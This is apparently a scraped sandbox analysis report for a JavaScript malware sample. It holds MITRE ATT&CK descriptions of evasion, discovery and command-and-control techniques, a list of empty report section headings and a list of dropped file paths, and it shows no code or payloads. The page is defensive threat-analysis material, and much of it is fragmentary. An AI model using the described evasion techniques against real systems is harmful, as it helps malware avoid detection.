Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 19726179161917216961.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cd9c5393-9aa3-4136-8270-41050e97c7e2.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2684

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
19726179161917216961.js

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre